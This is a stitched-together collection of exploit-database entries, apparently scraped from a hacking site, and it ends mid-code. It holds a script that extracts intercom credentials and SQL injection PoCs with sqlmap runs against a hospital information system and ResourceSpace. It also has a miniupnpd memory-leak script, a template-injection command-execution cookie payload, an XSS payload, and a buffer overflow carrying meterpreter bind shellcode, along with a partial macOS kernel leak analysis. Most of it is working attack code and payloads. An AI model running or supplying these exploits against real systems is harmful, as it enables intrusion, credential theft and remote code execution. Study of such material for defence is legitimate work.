# For versions 2.2.11 and above:
#

dbfile = 'C:\ProgramData\BEWARD\BEWARD Intercom\DB\BEWARD.INTERCOM.FDB'

def mapfile(filename):
    file = open(filename, "r+")
    size = os.path.getsize(filename)
    return mmap.mmap(file.fileno(), size)

data = mapfile(dbfile)
m = re.search(r"\xF7\x00\x07\x05\x00(.*?)\xD3\x00\x0E\x0C\x00", data)
print "Username: " + m.group(1)
m = re.search(r"\xD3\x00\x0E\x0C\x00(.*?)\xDA\x00\x11\x0F\x00", data)
print "Password: " + m.group(1)
HireHackking 
# Exploit Title: Care2x 2.7  (HIS) Hospital Information system - Multiples SQL Injection
# Date: 01/17/2019
# Software Links/Project: https://github.com/care2x/care2x | http://www.care2x.org/
# Version: Care2x 2.7
# Exploit Author: Carlos Avila
# Category: webapps
# Tested on: Windows 8.1 / Ubuntu Linux
# Contact: http://twitter.com/badboy_nt

1. Description
  
Care2x is PHP based Hospital Information system, It features complete clinical flow management, laboratory management, patient records, multi-user support with permissions, stock management and accounting and billing management, PACS integration and DICOM viewer. Care2x provides some other features as CCTV integration which has not been seen in other open source HIS.

This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over the same input.

It written in PHP version 5.x, it is vulnerable to SQL Injection. The parameter on cookie 'ck_config' is vulnerable on multiples URLS occurrences, explains to continue:

http://192.168.0.108/main/login.php [parameter affected: ck_config cookie] (without authentication)


	/main/indexframe.php [parameter affected: ck_config cookie]
	/main/op-doku.php [parameter affected: ck_config cookie]
	/main/spediens.php [parameter affected: ck_config cookie]
	/modules/ambulatory/ambulatory.php [parameter affected: ck_config cookie]
	/modules/fotolab/fotolab_pass.php [parameter affected: ck_config cookie]
	/modules/laboratory/labor.php [parameter affected: ck_config cookie]
	/modules/med_depot/medlager.php [parameter affected: ck_config cookie]
	/modules/news/headline-read.php [parameter affected: nr parameter]
	/modules/news/newscolumns.php [parameter affected: dept_nr parameter]
	/modules/news/start_page.php [parameter affected: sid cookie]
	/modules/nursing/nursing-fastview.php [parameter affected: ck_config cookie]
	/modules/nursing/nursing-fastview.php [parameter affected: currYear parameter]
	/modules/nursing/nursing-patient-such-start.php [parameter affected: ck_config cookie]
	/modules/nursing/nursing-schnellsicht.php [parameter affected: ck_config cookie]
	/modules/registration_admission/patient_register_pass.php [parameter affected: ck_config cookie]


2. Proof of Concept

GET /main/login.php?ntid=false&lang=en HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.108/main/indexframe.php?boot=1&mask=&lang=en&cookie=&sid=6fclqapl9gsjhrcgoh3q0la5sp
Connection: close
Cookie: sid=6fclqapl9gsjhrcgoh3q0la5sp; ck_sid6fclqapl9gsjhrcgoh3q0la5sp=m14AAA%3D%3D%23WVUYpUnF%2Fo28ZWY45A5Sh9HMvr%2FZ8wVabFY%3D; ck_config=CFG5c414492459f90.28518700%201547781266
Upgrade-Insecure-Requests: 1


root@kali19:~#sqlmap -r SQLI-CARE2X --dbms mysql -f -v 2 --level 3 -p ck_config


[14:18:15] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[14:18:15] [INFO] testing MySQL
[14:18:16] [INFO] confirming MySQL
[14:18:19] [INFO] the back-end DBMS is MySQL
[14:18:19] [INFO] actively fingerprinting MySQL
[14:18:20] [INFO] executing MySQL comment injection fingerprint
[14:18:33] [DEBUG] turning off reflection removal mechanism (for optimization purposes)
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: active fingerprint: MySQL >= 5.7
               comment injection fingerprint: MySQL 5.7.24


root@kali19:~#sqlmap -r SQLI-CARE2X --dbms mysql -v 2 --level 3 -p ck_config --dbs

[20:09:33] [INFO] fetching database names
[20:09:33] [INFO] the SQL query used returns 4 entries
[20:09:33] [INFO] retrieved: information_schema
[20:09:33] [INFO] retrieved: care2x
[20:09:33] [DEBUG] performed 10 queries in 0.20 seconds
available databases [2]:
[*] care2x
[*] information_schema
[*] performance_schema
[*] mysql



3. Solution:

Application inputs must be validated correctly in all developed classes.
HireHackking 
#!/usr/bin/python3
# miniupnpd <= v2.1 read out-of-bounds PoC
# by b1ack0wl
# https://github.com/b1ack0wl/miniupnpd_poc

import requests, socketserver, argparse, sys

class OK_HTTP_Response(socketserver.StreamRequestHandler):
  def handle(self):
    self.request.settimeout(self.server.timeout)
    self.server.notify = b""
    try:
      line = self.rfile.read(1)
      while len(line) > 0:
        self.server.notify += line
        line = self.rfile.read(1)
    except:
      pass
    self.wfile.write(b"HTTP/1.1 200 OK\r\n\r\n")

def splash():
  print("[*] miniupnpd <= v2.1 read out-of-bounds vulnerability [PoC]")
  print("[*] by b1ack0wl")

def leak_data(args):
  leak_size = ((1024*args.leak_amount)+526)
  callback_uri= "A" * leak_size
  headers= {'NT': 'upnp:event', 'Callback': '<http://{}:{}/{}>'.format(args.callback_ip,args.callback_port,callback_uri), 'Timeout': 'Second-20'}
  server = socketserver.TCPServer((args.callback_ip, args.callback_port), OK_HTTP_Response)
  server.timeout = args.timeout
  print("[+] Sending request...")
  requests.request(method="SUBSCRIBE",url="http://{}:{}/evt/L3F".format(args.target_ip,args.target_port),headers=headers,timeout=args.timeout)
  server.handle_request()
  leaked_data = server.notify[1023::] # Skip over the first 1024 bytes since it just contains 'NOTIFY /AAA...'
  print("[+] Leaked Data: {}".format(leaked_data))
  print("[+] Leaked Length: {}".format(len(leaked_data)))
  print("[+] Done")

def main():
  poc_parser = argparse.ArgumentParser( add_help=True, description='Miniupnpd <= v2.1 read out-of-bounds vulnerability',formatter_class=argparse.ArgumentDefaultsHelpFormatter)
  poc_parser.add_argument('target_ip', help='IP address of vulnerable device.')
  poc_parser.add_argument('target_port', default=5000, help="Target Port.", type=int)
  poc_parser.add_argument('--callback_ip', help="Local IP address for httpd listener.", type=str)
  poc_parser.add_argument('--callback_port', help="Local port for httpd listener.", type=int)
  poc_parser.add_argument('--timeout', default=5, help="Timeout for http requests (in seconds).", type=float)
  poc_parser.add_argument('--leak_amount', default=1, help="Amount of arbitrary heap data to leak (in KB).", type=int)
  args = poc_parser.parse_args()
  arguments = ['target_ip', 'target_port', 'callback_ip', 'callback_port' ]
  for i in arguments:
    if getattr(args, i) == None:
      poc_parser.print_help()
      sys.exit(1)
  leak_data(args)

if __name__ == '__main__':
    splash()
    main()
HireHackking 
# Exploit Title: PDF Signer v3.0 - SSTI to RCE via CSRF Cookie
# Dork: N/A
# Date: 2019-01-28
# Exploit Author: dd_ (info@malicious.group)
# Vendor Homepage: https://codecanyon.net/user/simcy_creative
# Software Link: https://codecanyon.net/item/signer-create-digital-signatures-and-sign-pdf-documents-online/20737707
# Version: v3.0
# Tested on: PHP/MySQL (PHP 7.2 / MySQL 5.7.25-0ubuntu0.18.04.2-log)
# Vendor Banner: Signer v3.0 – Create Digital signatures and Sign PDF documents
# Research IRC: irc.blackcatz.org #blackcatz

# Vulnerability: Server-Side Template Injection leading to Remote Command Execution due to improper Cookie handling and improper CSRF implementation.

# POC:
# 1)

GET / HTTP/1.1
Host: signer.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://signer.local/signin/?secure=true
Connection: close
Cookie: CSRF-TOKEN=rnqvt{{[PHP_COMMAND_HERE]}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl
Upgrade-Insecure-Requests: 1

# Example

[REQUEST]

GET / HTTP/1.1
Host: signer.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://signer.local/signin/?secure=true
Connection: close
Cookie: CSRF-TOKEN=rnqvt{{shell_exec('ls -lah')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl
Upgrade-Insecure-Requests: 1

[RESPONSE]

--half way down page---snip--

<label>Folder name</label>
<input type="text" class="form-control" name="foldername" placeholder="Folder name" data-parsley-required="true">
<input type="hidden" name="folder" value="1">
<input type="hidden" name="folderid">
<input type="hidden" name="csrf-token" value="rnqvttotal 112K
drwxr-xr-x  9 www-data www-data 4.0K Jan 28 12:04 .
drwxr-xr-x  6 www-data www-data 4.0K Jan 28 06:19 ..
-rw-r--r--  1 www-data www-data 1.1K Jan 28 12:03 .env
-rw-r--r--  1 www-data www-data  532 Jan  9 20:52 .htaccess
drwxr-xr-x  9 www-data www-data 4.0K Jan  9 20:53 assets
-rw-r--r--  1 www-data www-data  947 Jan  9 20:52 composer.json
-rw-r--r--  1 www-data www-data  54K Jan  9 20:52 composer.lock
drwxr-xr-x  2 www-data www-data 4.0K Jan 28 11:59 config
-rw-r--r--  1 www-data www-data 1.7K Jan  9 20:52 cron.php
-rw-r--r--  1 www-data www-data  169 Jan  9 20:52 index.php
drwxr-xr-x  3 www-data www-data 4.0K Jan  9 20:53 lang
drwxr-xr-x  6 www-data www-data 4.0K Jan 28 11:46 src
drwxr-xr-x  9 www-data www-data 4.0K Jan  9 20:53 uploads
drwxr-xr-x 24 www-data www-data 4.0K Jan  9 20:53 vendor
drwxr-xr-x  6 www-data www-data 4.0K Jan  9 20:53 views
to5gw" />
</div>
</div>
</div>

--- snip ---
HireHackking 
# Exploit Title: ResourceSpace <=8.6 'collection_edit.php' SQL Injection
# Dork: N/A
# Date: 2019-01-25
# Exploit Author: dd_ (info@malicious.group)
# Vendor Homepage: https://www.resourcespace.com/
# Software Link: https://www.resourcespace.com/get
# Version: Stable release: 8.6
# Tested on: PHP/MySQL (PHP 7.2 / MySQL 5.7.25-0ubuntu0.18.04.2-log)
# Vendor Alerted: 1/21/2019
# Vendor Banner: ResourceSpace open source digital asset management software is the simple, fast, & free way to organise your digital assets.


# POC:
# 1)
# http://localhost/pages/collection_edit.php?CSRFToken=[CRSF_TOKEN_HERE]&redirect=yes&ref=3620&submitted=true&name=PWNED&keywords=[SQL]&copy=&save=%C2%A0%C2%A0Save%C2%A0%C2%A0




# Running the SQLMap command:

sqlmap -u 'http://localhost/pages/collection_edit.php' --data='CSRFToken=<csrf token>&redirect=yes&ref=3620&submitted=true&name=PWNED&keywords=*&copy=&save=%C2%A0%C2%A0Save%C2%A0%C2%A0' --cookie='language=en-US;language=en-US;thumbs=show;user=3154df279ea69a45caeaccf8a5fd1550;saved_col_order_by=created;saved_col_sort=ASC;per_page_list=15;saved_themes_order_by=name;saved_themes_sort=ASC;display=thumbs;per_page=48;saved_sort=DESC;geobound=-5244191.6358594%2C-786628.3871876%2C4;plupload_ui_view=list;ui_view_full_site=true' --dbms=mysql --level=5 --risk=3 -p keywords --technique=ETB --dbs --current-user --current-db --is-dba




# Will trigger the following injection methods:


[*] starting @ 13:21:45 /2019-01-25/

[13:21:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: keywords (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: CSRFToken=YzcxMmYxMTcyM2E1NjYyNWFmZTAxZTBlMTZmYjI2OTU2YzI0OWNhZTBjMzNmYzI0ZTRiYWVhYWU4N2RlNTNhNUBAuVxTyzjb6fJYqUBQWsiawgfoEuxQKvG6HI4LkQLUD3zkfW1Ni0V3REGj2AfURF5FBV5DHL75lM567skQLf1dibiUn04ySzgpx6O4j3z1QkGJpnCM27K6wH5lt8Inzhg31+PLoS26LP6ONDFrwQmf07Se8Z2fDtGi5xoJDBM9oHZxqNmrrryGVQpsmcpIYSr/+IsJ/4gExUQdyH4MMfkUuEmkQssMPSJFS6nNQEC9jwrfoxy3p9fApNyEeu+Wofo4UNOtE3sUIux/h3WUjg==&redirect=yes&ref=3620&submitted=true&name=PWNED&keywords=1%27%2F%2A%2A%2FRLIKE%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%28ORD%28MID%28%28SELECT%2F%2A%2A%2FIFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%2F%2A%2A%2FAS%2F%2A%2A%2FCHAR%29%2C0x20%29%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E56%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0x28%2F%2A%2A%2FEND%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%27SJXN%27%3D%27SJXN' RLIKE (SELECT (CASE WHEN (6076=6076) THEN 0x3125323532372532353246253235324125323532412532353246524c494b452532353246253235324125323532412532353246253235323853454c454354253235324625323532412532353241253235324625323532384341534525323532462532353241253235324125323532465748454e253235324625323532412532353241253235324625323532384f524425323532384d49442532353238253235323853454c454354253235324625323532412532353241253235324649464e554c4c2532353238434153542532353238434f554e54253235323844495354494e43542532353238736368656d615f6e616d65253235323925323532392532353246253235324125323532412532353246415325323532462532353241253235324125323532464348415225323532392532353243307832302532353239253235324625323532412532353241253235324646524f4d2532353246253235324125323532412532353246494e464f524d4154494f4e5f534348454d412e534348454d41544125323532392532353243312532353243312532353239253235323925323533453536253235323925323532462532353241253235324125323532465448454e2532353246253235324125323532412532353246312532353246253235324125323532412532353246454c53452532353246253235324125323532412532353246307832382532353246253235324125323532412532353246454e44253235323925323532392532353246253235324125323532412532353246414e4425323532462532353241253235324125323532462532353237534a584e253235323725323533442532353237534a584e ELSE 0x28 END)) AND 'HDWY'='HDWY&public=0&autocomplete_parameter=pwned&users=1%27%2F%2A%2A%2FRLIKE%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%28ORD%28MID%28%28SELECT%2F%2A%2A%2FIFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%2F%2A%2A%2FAS%2F%2A%2A%2FCHAR%29%2C0x20%29%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E56%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0x28%2F%2A%2A%2FEND%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%27SJXN%27%3D%27SJXN&copy=&save=%C2%A0%C2%A0Save%C2%A0%C2%A0

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: CSRFToken=YzcxMmYxMTcyM2E1NjYyNWFmZTAxZTBlMTZmYjI2OTU2YzI0OWNhZTBjMzNmYzI0ZTRiYWVhYWU4N2RlNTNhNUBAuVxTyzjb6fJYqUBQWsiawgfoEuxQKvG6HI4LkQLUD3zkfW1Ni0V3REGj2AfURF5FBV5DHL75lM567skQLf1dibiUn04ySzgpx6O4j3z1QkGJpnCM27K6wH5lt8Inzhg31+PLoS26LP6ONDFrwQmf07Se8Z2fDtGi5xoJDBM9oHZxqNmrrryGVQpsmcpIYSr/+IsJ/4gExUQdyH4MMfkUuEmkQssMPSJFS6nNQEC9jwrfoxy3p9fApNyEeu+Wofo4UNOtE3sUIux/h3WUjg==&redirect=yes&ref=3620&submitted=true&name=PWNED&keywords=1%27%2F%2A%2A%2FRLIKE%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%28ORD%28MID%28%28SELECT%2F%2A%2A%2FIFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%2F%2A%2A%2FAS%2F%2A%2A%2FCHAR%29%2C0x20%29%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E56%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0x28%2F%2A%2A%2FEND%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%27SJXN%27%3D%27SJXN' AND EXTRACTVALUE(8779,CONCAT(0x5c,0x716b786a71,(SELECT (ELT(8779=8779,1))),0x7176626271)) AND 'cjUk'='cjUk&public=0&autocomplete_parameter=pwned&users=1%27%2F%2A%2A%2FRLIKE%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%28ORD%28MID%28%28SELECT%2F%2A%2A%2FIFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%2F%2A%2A%2FAS%2F%2A%2A%2FCHAR%29%2C0x20%29%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E56%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0x28%2F%2A%2A%2FEND%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%27SJXN%27%3D%27SJXN&copy=&save=%C2%A0%C2%A0Save%C2%A0%C2%A0

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: CSRFToken=YzcxMmYxMTcyM2E1NjYyNWFmZTAxZTBlMTZmYjI2OTU2YzI0OWNhZTBjMzNmYzI0ZTRiYWVhYWU4N2RlNTNhNUBAuVxTyzjb6fJYqUBQWsiawgfoEuxQKvG6HI4LkQLUD3zkfW1Ni0V3REGj2AfURF5FBV5DHL75lM567skQLf1dibiUn04ySzgpx6O4j3z1QkGJpnCM27K6wH5lt8Inzhg31+PLoS26LP6ONDFrwQmf07Se8Z2fDtGi5xoJDBM9oHZxqNmrrryGVQpsmcpIYSr/+IsJ/4gExUQdyH4MMfkUuEmkQssMPSJFS6nNQEC9jwrfoxy3p9fApNyEeu+Wofo4UNOtE3sUIux/h3WUjg==&redirect=yes&ref=3620&submitted=true&name=PWNED&keywords=1%27%2F%2A%2A%2FRLIKE%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%28ORD%28MID%28%28SELECT%2F%2A%2A%2FIFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%2F%2A%2A%2FAS%2F%2A%2A%2FCHAR%29%2C0x20%29%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E56%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0x28%2F%2A%2A%2FEND%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%27SJXN%27%3D%27SJXN' RLIKE SLEEP(5) AND 'EqqU'='EqqU&public=0&autocomplete_parameter=pwned&users=1%27%2F%2A%2A%2FRLIKE%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F%28CASE%2F%2A%2A%2FWHEN%2F%2A%2A%2F%28ORD%28MID%28%28SELECT%2F%2A%2A%2FIFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%2F%2A%2A%2FAS%2F%2A%2A%2FCHAR%29%2C0x20%29%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E56%29%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FELSE%2F%2A%2A%2F0x28%2F%2A%2A%2FEND%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%27SJXN%27%3D%27SJXN&copy=&save=%C2%A0%C2%A0Save%C2%A0%C2%A0
---
[13:21:47] [INFO] testing MySQL
[13:21:47] [INFO] confirming MySQL
[13:21:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.0
[13:21:48] [INFO] fetching current user
[13:21:50] [INFO] retrieved: 'pwner@localhost'
current user:    'pwner@localhost'
[13:21:50] [INFO] fetching current database
[13:21:52] [INFO] retrieved: 'resourcespace'
current database:    'resourcespace'
[13:21:52] [INFO] testing if current user is DBA
[13:21:52] [INFO] fetching current user
current user is DBA:    False
[13:21:53] [INFO] fetching database names
[13:21:54] [WARNING] the SQL query provided does not return any output
[13:21:54] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[13:21:54] [INFO] fetching number of databases
[13:21:54] [INFO] resumed: 6
[13:21:54] [INFO] resumed: information_schema
[13:21:54] [INFO] resumed: mysql
[13:21:54] [INFO] resumed: performance_schema
[13:21:54] [INFO] resumed: phpmyadmin
[13:21:54] [INFO] resumed: resourcespace
[13:21:54] [INFO] resumed: sys
available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] resourcespace
[*] sys

[13:21:54] [INFO] fetched data logged to text files under '/home/notroot/.sqlmap/output/localhost'

[*] ending @ 13:21:54 /2019-01-25/
HireHackking 
# Exploit Title: Smart VPN 1.1.3.0 - Denial of Service (PoC)
# Date: 1/28/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/store/productId/9NH1G93D4HKR
# Version: 1.1.3.0
# Tested on: Windows 10

# Proof of Concept:
# Run the python script, it will create a new file "PoC.txt"
# Copy the text from the generated PoC.txt file to clipboard
# Paste the text in the top right search bar and hit Enter
# App will now crash

buffer = "A" * 2100
payload = buffer
try:
    f=open("PoC.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
print "File cannot be created"
HireHackking 
# Exploit Title: MyBB IP History Logs Plugin 1.0.2 - Cross-Site Scripting
# Date: 1/25/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1213
# Version: 1.0.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-6979


1. Description:
This plugin keeps a record of a users IP & User-Agent history. The User-Agent isn't sanitized to user input allowing for an XSS via ACP.
 

2. Proof of Concept:

- Change your User-Agent to a payload   <script>alert('XSS')</script>
- Log into an account

When admin visits the IP/User-Agent history page the payload will execute
http://localhost/[path]/admin/index.php?module=tools-ip_history_logs



3. Solution:
Update to 1.0.3
HireHackking 
#!/usr/bin/python
# Exploit Title: HTML5 Video Player 1.2.5 - Local Buffer Overflow - Non SEH
# Date: 27/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.html5videoplayer.net/download.html
# Software: http://www.html5videoplayer.net/html5videoplayer-setup.exe
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Version: 1.2.5
# Tested on: Windows XP Prof SP3 ENG x86
# Note: No SEH exploitation required (SEH exploit for Windows XP SP3 by Kagan Capar available on exploit-db)
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In application, open 'Help' then 'Register'
# 3.) Paste the contents of exploit.txt under 'KEY CODE'
# 4.) Click OK - Calc POPS!
# Extra Info:
#Exact match 996 = For free registration (Fill buffer with ABCD's to get free full registration)
#Exact match 997 = For buffer overflow
#JMP ESP 0x7cb32d69  shell32.dll

#msfvenom -p windows/meterpreter/bind_tcp LPORT=443 -e x86/shikata_ga_nai -b "\x00\xd5\x0a\x0d\x1a" -f c
#(binds meterpreter to port 443)

shellcode = ("\xdb\xc9\xbf\xab\x95\xb6\x9c\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x4e\x83\xe8\xfc\x31\x78\x14\x03\x78\xbf\x77\x43\x60\x57\xf5"
"\xac\x99\xa7\x9a\x25\x7c\x96\x9a\x52\xf4\x88\x2a\x10\x58\x24"
"\xc0\x74\x49\xbf\xa4\x50\x7e\x08\x02\x87\xb1\x89\x3f\xfb\xd0"
"\x09\x42\x28\x33\x30\x8d\x3d\x32\x75\xf0\xcc\x66\x2e\x7e\x62"
"\x97\x5b\xca\xbf\x1c\x17\xda\xc7\xc1\xef\xdd\xe6\x57\x64\x84"
"\x28\x59\xa9\xbc\x60\x41\xae\xf9\x3b\xfa\x04\x75\xba\x2a\x55"
"\x76\x11\x13\x5a\x85\x6b\x53\x5c\x76\x1e\xad\x9f\x0b\x19\x6a"
"\xe2\xd7\xac\x69\x44\x93\x17\x56\x75\x70\xc1\x1d\x79\x3d\x85"
"\x7a\x9d\xc0\x4a\xf1\x99\x49\x6d\xd6\x28\x09\x4a\xf2\x71\xc9"
"\xf3\xa3\xdf\xbc\x0c\xb3\x80\x61\xa9\xbf\x2c\x75\xc0\x9d\x38"
"\xba\xe9\x1d\xb8\xd4\x7a\x6d\x8a\x7b\xd1\xf9\xa6\xf4\xff\xfe"
"\xc9\x2e\x47\x90\x34\xd1\xb8\xb8\xf2\x85\xe8\xd2\xd3\xa5\x62"
"\x23\xdc\x73\x1e\x28\x7b\x2c\x3d\xd3\x11\xcd\xab\x2e\x8d\x27"
"\x24\xf0\xad\x47\xee\x99\x45\xba\x11\xa7\x2e\x33\xf7\xcd\x40"
"\x12\xaf\x79\xa2\x41\x78\x1d\xdd\xa3\x02\x21\x54\x14\x5a\xca"
"\x21\x4d\x5c\xf5\xb2\x5b\xca\x61\x38\x88\xce\x90\x3f\x85\x66"
"\xc4\xd7\x53\xe7\xa7\x46\x63\x22\x5d\x88\xf1\xc9\xf4\xdf\x6d"
"\xd0\x21\x17\x32\x2b\x04\x24\x35\xd3\xd9\x07\x4d\xe2\x4f\x17"
"\x39\x0b\x80\x97\xb9\x5d\xca\x97\xd1\x39\xae\xc4\xc4\x45\x7b"
"\x79\x55\xd0\x84\x2b\x09\x73\xed\xd1\x74\xb3\xb2\x2a\x53\xc7"
"\xb5\xd4\x22\xcf\x44\x17\xf3\x09\x33\x7e\xc7\x2d\x4c\x35\x6a"
"\x07\xc7\x35\x38\x57\xc2")
buffer = "A" * 996 + "\x69\x2d\xb3\x7c" + "\x90" * 20 + shellcode

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
HireHackking 
#################################################################

# Exploit Title: Rukovoditel Project Management CRM 2.4.1 - 'lists_id' SQL
Injection
# Dork: N/A
# Date: 27-01-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://sourceforge.net/projects/rukovoditel/
# Version: 2.4.1
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description : Rukovoditel is a free web-based open-source
project management
application. A far cry from traditional applications, Rukovoditel gives
users a broader and extensive approach to project management. Its
customization options allow users to create additional entities, modify
and specify the relationship between them, and generate the necessary
reports.

#################################################################

# Vulnerabilities
# For the SQL injection to be applied, the user must log in.
then from the Application structure screen to the global list tab.
add new value button to create a new list. You can apply sql injection
through the generated list.
The pictures of the weaknesses are below.
https://i.hizliresim.com/nQJZm5.jpg
https://i.hizliresim.com/WqGmEQ.jpg

#################################################################

# POC - SQLi
# Parameters : lists_id=1 (string)
# Attack Pattern : -1'+UnIOn+SeLEcT+1,2--+
# GET Request :
http://localhost/[PATH]/index.php?module=global_lists/choices&lists_id=1'[SQL]

#################################################################
HireHackking 
/*
macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting
ports, and added the function IOPMCopySleepWakeUUIDKey() to the file
iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function:

	extern "C" bool
	IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len)
	{
		if (!gSleepWakeUUIDIsSet) {
			return (false);
		}
	
		if (buffer != NULL) {
			OSString *string;
	
			string = (OSString *)
			    gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey);
	
			if (string == NULL) {
				*buffer = '\0';
			} else {
				strlcpy(buffer, string->getCStringNoCopy(), buf_len);
	
				string->release();
			}
		}
	
		return (true);
	}

This function is interesting because it copies a caller-specified amount of data from the
"SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID"
to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(),
out-of-bounds heap data will be copied into the caller's buffer.

However, triggering this particular information leak is challenging, since the only caller is the
function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information
leak:

	void
	if_ports_used_update_wakeuuid(struct ifnet *ifp)
	{
		uuid_t wakeuuid;							// (a) wakeuuid is uninitialized.
		bool wakeuuid_is_set = false;
		bool updated = false;
	
		if (__improbable(use_test_wakeuuid)) {
			wakeuuid_is_set = get_test_wake_uuid(wakeuuid);
		} else {
			uuid_string_t wakeuuid_str;
	
			wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str,	// (b) wakeuuid_str is controllable.
			    sizeof(wakeuuid_str));
			if (wakeuuid_is_set) {
				uuid_parse(wakeuuid_str, wakeuuid);			// (c) The return value of
			}								//     uuid_parse() is not checked.
		}
	
		if (!wakeuuid_is_set) {
			if (if_ports_used_verbose > 0) {
				os_log_info(OS_LOG_DEFAULT,
				    "%s: SleepWakeUUID not set, "
				    "don't update the port list for %s\n",
				    __func__, ifp != NULL ? if_name(ifp) : "");
			}
			wakeuuid_not_set_count += 1;
			if (ifp != NULL) {
				microtime(&wakeuuid_not_set_last_time);
